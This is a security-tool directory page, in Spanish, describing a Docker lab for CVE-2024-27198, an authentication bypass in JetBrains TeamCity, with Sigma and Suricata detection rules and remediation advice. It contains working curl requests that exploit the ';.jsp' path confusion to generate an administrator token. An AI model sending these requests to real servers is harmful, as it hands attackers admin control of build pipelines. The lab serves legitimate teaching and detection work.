Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-27198_Lab — Laboratorio para el CVE-2024-27198 | Kitploit
Herramientas/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónInteligencia de AmenazasDetección de IntrusionesAprendizaje y EducaciónRespuesta a IncidentesAnálisis de RegistrosLabs y Práctica
5hace 3 mesesAún no revisado
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Laboratorio para el CVE-2024-27198

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Laboratorio CVE-2024-27198

Descripción

TeamCity proporciona una página solo para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar un ID de un usuario existente.


Detalles de CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Puntuación base: 9.8 CRÍTICO
  • Vector:
    • CVSS:3.1
    • AV:N Red
    • AC:L Bajo
    • PR:N Ninguno
    • UI:N Ninguno
    • S:U Sin cambios
    • C:H Alto
    • I:H Alto
    • A:H Alto

Inteligencia de Amenazas y OSINT

Impacto en el Mundo Real y Explotación

  • Catálogo KEV de CISA: Añadido el 7 de marzo de 2024, confirmando explotación activa en la naturaleza.
  • Actores de Amenazas: Explotado por múltiples grupos de ransomware y APTs, notablemente el grupo de ransomware BianLian y la variante de ransomware Jasmin. Los atacantes usaron esta omisión para crear cuentas de administrador maliciosas, desplegar plugins maliciosos y ejecutar código arbitrario (RCE) para moverse lateralmente dentro de las redes víctimas.
Descargar herramienta
  • Perfil de Objetivo: Los pipelines CI/CD son objetivos de alto valor (Ataques a la Cadena de Suministro). Comprometer TeamCity permite a los atacantes inyectar código malicioso en compilaciones de software, robar código fuente y extraer secretos de despliegue (claves AWS, certificados).
  • Por qué este CVE es Crítico

    La vulnerabilidad reside en el mecanismo de enrutamiento de la API REST. Al agregar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a un endpoint no autenticado, los atacantes pueden engañar al servidor web de TeamCity para que enrute la solicitud a un endpoint autenticado mientras omiten los filtros de seguridad. Esto no requiere ningún conocimiento ni acceso previo, lo que lo convierte en un CVSS puro de 9.8.


    Pasos para reproducir

    Iniciar los contenedores

    root@kitploit:~
    cd CVE-2024-27198
    
    root@kitploit:~
    docker compose -f docker-compose.yml up -d
    

    Acceda a la instancia vulnerable de TeamCity en http://localhost:8111. Acceda a la instancia parcheada de TeamCity en http://localhost:8112.


    Portal de Inicio de Sesión

    Nombre de usuario:

    root@kitploit:~
    admin
    

    Contraseña:

    root@kitploit:~
    admin
    

    Probar la vulnerabilidad

    Solicitud GET para un recurso sin autenticación:

    root@kitploit:~
    curl -i http://localhost:8111/app/rest/users
    
    root@kitploit:~
    curl -i http://localhost:8112/app/rest/users
    

    Ambas deberían devolver un error con código de estado 401.


    Generar un token para el usuario administrador

    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Esto debería devolver un token como este (El token es diferente cada vez):

    root@kitploit:~
    eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
    
    root@kitploit:~
    curl -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Esto debería devolver un error con código de estado 401 porque la instancia parcheada no tiene la vulnerabilidad.


    Verificar token

    root@kitploit:~
    curl -i -H "Authorization: Bearer <TOKEN>" \
      http://localhost:8111/app/rest/users
    

    Debería devolver la lista de usuarios.


    Eliminar el token

    1. Vaya a http://localhost:8111 con la cuenta de administrador.
    2. Haga clic en el icono de perfil en la esquina superior derecha.
    3. Vaya a Perfil -> Tokens de acceso.
    4. Verá el token "REDTEAM".
    5. Simplemente haga clic en Eliminar junto al token.

    Blue Team: Caza de IoCs en Registros (El Factor Sigiloso)

    Durante la demostración en el laboratorio, puede mostrar un hallazgo masivo del Blue Team: ¡por defecto, esta vulnerabilidad es increíblemente sigilosa!

    1. Los registros de acceso de Tomcat están deshabilitados por defecto en la imagen Docker de TeamCity, por lo que las solicitudes HTTP ;.jsp no se registran.
    2. El registro de auditoría de TeamCity no registra la creación de tokens a través de la API REST.

    Entonces, ¿cómo lo detectamos? ¡Cuando el atacante limpia sus huellas! Cuando el atacante elimina su token malicioso para ocultarse, TeamCity sí lo registra.

    Encuentre al atacante cubriendo sus huellas en los registros de auditoría:

    root@kitploit:~
    docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
    

    (Verá una entrada de registro que indica que el token "REDTEAM" fue eliminado).


    Detener los contenedores

    root@kitploit:~
    docker compose -f docker-compose.yml down
    

    Mitigación y Detección

    Análisis Técnico (CWE-288)

    Esta vulnerabilidad es un caso de CWE-288: Omisión de Autenticación mediante una Ruta o Canal Alternativo. El fallo se origina en un problema de confusión de ruta entre el servidor web Tomcat y el enrutador de la aplicación TeamCity. Al agregar ;.jsp y pasar el endpoint de la API REST objetivo en el parámetro jsp=, el filtro de seguridad inicial interpreta la solicitud como una solicitud no autenticada a un archivo .jsp público (lo cual está permitido). Sin embargo, el enrutador interno elimina el ;.jsp y reenvía la solicitud al endpoint restringido /app/rest/ sin aplicar el filtro de autenticación.

    Caso de Uso Legítimo (¿Por qué se permite ;?): Tomcat utiliza el punto y coma (;) para Parámetros Matriciales. Históricamente, este mecanismo se utiliza para pasar parámetros directamente dentro de la ruta, como agregar JSESSIONID para mantener el estado de sesión del usuario cuando las cookies están deshabilitadas. Este comportamiento normal y legítimo del servidor web, combinado con la validación incorrecta por parte del enrutador de la aplicación TeamCity, es lo que crea la vulnerabilidad.

    Indicadores de Compromiso (IoCs)

    Para detectar un compromiso en curso o pasado, los Blue Teams deben buscar:

    1. Registros Web: solicitudes HTTP que apunten a endpoints /app/rest/ pero que contengan la cadena anómala ;.jsp en la URI.
    2. Registros de Auditoría (teamcity-server.log): generación inexplicable de tokens de acceso o creación de nuevas cuentas administrativas.
    3. Nivel de Sistema: instalación de plugins sospechosos o no reconocidos (a menudo utilizados por atacantes para escalar privilegios y lograr Ejecución Remota de Código).

    Detección en Registros (Regla Sigma)

    Debido a que la explotación inicial es sigilosa por defecto, los Blue Teams deben confiar en la detección de las acciones posteriores a la explotación del atacante, como cubrir sus huellas. Aquí hay una regla Sigma para su SIEM para detectar eliminaciones sospechosas de tokens:

    root@kitploit:~
    title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
    id: 9a2b53f6-1234-4567-890a-abcdef123456
    status: experimental
    description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
    author: Purple Team
    date: 2026-05-18
    logsource:
        category: application
        product: teamcity
    detection:
        selection:
            message|contains: 'delete_token_for_user'
        condition: selection
    level: medium
    

    Demostración en Vivo de SIEM (Blue Team)

    Para demostrar que esta detección funciona, ejecute el script siem_simulator.py.

    1. Abra una segunda terminal junto a su terminal de explotación.
    2. Asegúrese de que el contenedor vulnerable esté en ejecución (docker compose up -d).
    3. Ejecute el simulador:
    root@kitploit:~
    python3 siem_simulator.py
    
    1. En la primera terminal, ejecute el exploit, verifique el token y luego elimine el token a través de la interfaz web.
    2. Observe cómo la segunda terminal se ilumina con una alerta crítica roja que muestra la regla Sigma detectando al atacante cubriendo sus huellas.

    Remediación

    • Parche Oficial: Actualice TeamCity a la versión 2023.11.4 o superior, que sanitiza adecuadamente y aplica el enrutamiento de rutas en el backend.
    • Solución Alternativa: Si no es posible parchear, JetBrains lanzó un plugin de parche de seguridad que se puede instalar en instancias vulnerables.

    Detección en Red (Regla Suricata / Snort)

    Para detectar este intento de explotación en la red, un SOC puede implementar la siguiente regla IDS, que busca el patrón anómalo ;.jsp combinado con rutas de API REST:

    root@kitploit:~
    alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
    

    Probar la versión parcheada (Demostración de Laboratorio)

    Para demostrar que la mitigación funciona, puede lanzar la misma carga útil de exploit contra el contenedor parcheado de TeamCity que se ejecuta en el puerto 8112:

    root@kitploit:~
    curl -i -X POST -H "Content-Type: application/json" \
      "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
      -d '{"name":"REDTEAM"}'
    

    Debido a que el parche aplica estrictamente el enrutamiento de rutas y sanitiza adecuadamente los parámetros matriciales, la omisión fallará. Debería ver una respuesta 401 No autorizado o 404 No encontrado en lugar de un token generado.


    Enlaces

    • CVE-2024-27198